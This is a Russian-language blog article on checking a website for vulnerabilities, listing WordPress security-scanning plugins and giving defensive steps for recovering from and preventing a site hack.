Перечисленные инструменты позволяют выполнить проверку сайта на уязвимость онлайн. Но данные будут довольно общие, если вы воспользуетесь бесплатным сканером. За более углубленный анализ все же необходимо будет заплатить, например приобрести премиум-пакет.

Премиум-пакет

Можно использовать специальные плагины (один или несколько) для обнаружения уязвимостей. Система автоматически выполняет обновление как одиночно установленных плагинов на сайтах WordPress, так и выполненных в режиме Мультисайт.

  • Vulnerable Plugin Checker — исследует плагины на наличие уязвимых мест и иных сбоев в работе. Все, что нужно указать в настройках, — свой электронный адрес. Система будет присылать на него отчеты два раза в течение суток.

  • WPScan — приложение идентифицирует уязвимости, входящие в перечень WPScan Vulnerability Database и отчитывается об их количестве администратору. Сообщения о новых найденных слабых местах приходят по электронной почте.

  • Total Security — следит за обстановкой на вашей веб-площадке, сразу информирует об опасности, когда обнаруживает дыры, чтобы вы могли их ликвидировать. Данный плагин сканирует файлы WordPress, темы, плагины, может самостоятельно менять страницу с авторизацией, то есть …/wp-login.php. Программа не решает самостоятельно все обнаруженные проблемы, однако формирует для вас подробный отчет.

Скачайте полезный документ:

Чек-лист: Как добиваться своих целей в переговорах с клиентами

Перечисленные выше плагины работают, в случае если они уже изначально были включены в программное обеспечение сайта. Можно установить дополнительные плагины и снова проверить систему с их помощью:

  • NinjaScanner — простой инструмент, вылавливающий вирусы и пиратские коды в файлах. Этот плагин исследует содержимое сайта, а затем проводит сравнительный анализ с хранящимися в WordPress оригинальными образцами файлов, плюс осуществляет и некоторые другие проверки.

  • GOTMLS — в процессе проверки умеет находить трояны, бэкдоры, всевозможные вирусы и прочие опасные вбросы. Выполняет функцию файрвола, защищая базы данных от внешних вторжений. Для того чтобы плагин регулярно обновлялся, необходимо пройти процедуру регистрации (она бесплатная).

  • Quttera Web Malware Scanner — успешно обнаруживает любые внедренные в базы данных вирусы, трояны, черви, инъекции и айфремы, редиректы и еще целый перечень всевозможных угроз. Также анализирует, не был ли ваш веб-ресурс по каким-либо причинам определен в черный список.

Можно установить дополнительные плагины

С помощью перечисленных плагинов можно просканировать свой ресурс и выявить существующие угрозы. Но не все из названных инструментов имеют достаточный функционал для ликвидации обнаруженных уязвимостей сайтов.

Что делать, если сайт все же взломали

Заметить, что сайт работает криво и что, скорее всего, произошло вторжение, могут пользователи, администратор ресурса либо провайдер. Нередко хозяева веб-площадок считают, что пиратские взломы происходят исключительно по вине хостингов, в частности по причине ошибок в администрировании или из-за слабых защитных механизмов. 

Однако в действительности в большинстве случаев именно сами владельцы и виноваты в том, что сайт стал легкой добычей для хакеров. На деле оказывается, что не соблюдались простейшие правила безопасности. 

Поэтому вместо того, чтобы поспешить обвинить хостинг-провайдера в возникших проблемах, лучше оперативно наладить с ним связь и попытаться совместно разрешить ситуацию. Поверьте, хостингу тоже не хочется, чтобы курируемые им сайты постоянно взламывались.

При обнаружении признаков пиратского вторжения действия должны быть такими:

  1. Постарайтесь собрать и проанализировать все сведения о нападении:

    • обратитесь в службу технической поддержки хостинга, попросите предоставить вам логи (специальные журналы, они бывают двух видов: access_log и error_log) по максимально доступному интервалу времени;

    • сделайте запрос на предоставление лога ftp-сервера;

    • подробно изложите суть проблемы. Хорошо, если удастся точно указать дату, а также время. Опишите, какие именно обнаружены неисправности. Это может быть поток левых ссылок (нужно указать, на какие страницы они были вставлены), видоизменение главной страницы, некорректное перенаправление (редирект) мобильных пользователей. Могут подавать сигналы бедствия антивирусы (десктопный и от поисковика).

  2. Исследуйте все устройства, через которые осуществлялись подключения к ресурсу, обновление баз и антивируса.

    Поменяйте все пароли

  3. Поменяйте все пароли (админовский на сайте, от ftp и хостера). Генерируйте надежные пароли: длиннее семи символов, с цифрами, заглавными и строчными буквами.

  4. Воспользуйтесь резервной копией сайта, если его работа существенно нарушена.

Когда работа по устранению проблем будет завершена, примите ряд мер по защите своего ресурса от последующих вторжений.

Воспользуйтесь каким-либо бесплатным сканером типа ClamAv, LMD, AI-BOLIT и проверьте свой ресурс. Обнаруженные хакерские скрипты необходимо удалить.

Найдите на сайте официального разработчика последнюю версию CMS и выполните обновление. Вообще установите все возможные обновления (для модулей CMS-плагинов).

Выполните установку защиты на своем ресурсе:

  • позаботьтесь о том, чтобы у вас на сайте были плагины для регулярной проверки файлов базы данных (их нужно установить);

  • панель администратора не должна быть легко доступна. Добавьте еще один пароль на входе либо введите обязательную авторизацию (через jp-адрес);

  • для всех элементов ресурса, которые остаются всегда неизменными, поставьте отметку «только для чтения»;

  • зайдите в файл php.ini и отключите опции, которые не используются;

  • поставьте запрет на обращение к php-скриптам во всех папках с кэшем, временными файлами и загрузками.

Все эти действия усилят защиту вашего ресурса от внешних вторжений. Поручите работу веб-специалистам, если сами не очень разбираетесь в данных вопросах.

Всегда помните, что любые принятые меры безопасности все же не дают полной гарантии того, что площадка не будет взломана. Следует понимать, что доступ и к сайту, и к хостингу есть у целого ряда людей. Это администраторы, seo- и веб-специалисты, сотрудники по контентному наполнению и т. д. И тут важно настроить работу так, чтобы опасности сторонних проникновений через уязвимости сайта свести к минимуму.

Первое, что нужно сделать, — грамотно организуйте возможности доступа к ресурсу. Пусть у каждого сотрудника будет своя зона действий, с самостоятельным паролем и привилегиями (их не должно быть много). Каждая манипуляция администратора должна фиксироваться в логе (журнале действий). В работе с ftp-/ssh-хостингом — те же меры предосторожности.

Второе — админовские пароли (к сайту и хостингу) должны быть надежными и достаточно часто меняться.

Третье — пользуйтесь именно sftp-подключением (то есть безопасным), а не ftp.

Безопасность сайта необходимо постоянно контролировать, и это не всегда бывает просто. С одной стороны, важно обеспечить надежную защиту, с другой — создать условия, в которых администрирование ресурса будет удобным и эффективным.

Безопасность сайта

Всегда имейте в виду, что, какой бы современный инструментарий вы ни использовали, вероятность возникновения уязвимостей на сайте все равно остается. Причем на более объемных ресурсах и угроз больше (ведь там обширнее функционал). На полную проверку системы иногда могут уходить целые дни, а то и месяцы. 

Самый правильный подход — продумать вопросы безопасности ресурса еще на стадии его разработки. Тогда не придется ломать голову над тем, как исправлять последствия хакерских атак.

Дмитрий Свистунов

Статья опубликована: 30.01.2020

Облако тегов

Понравилась статья? Поделитесь:

Добавить комментарий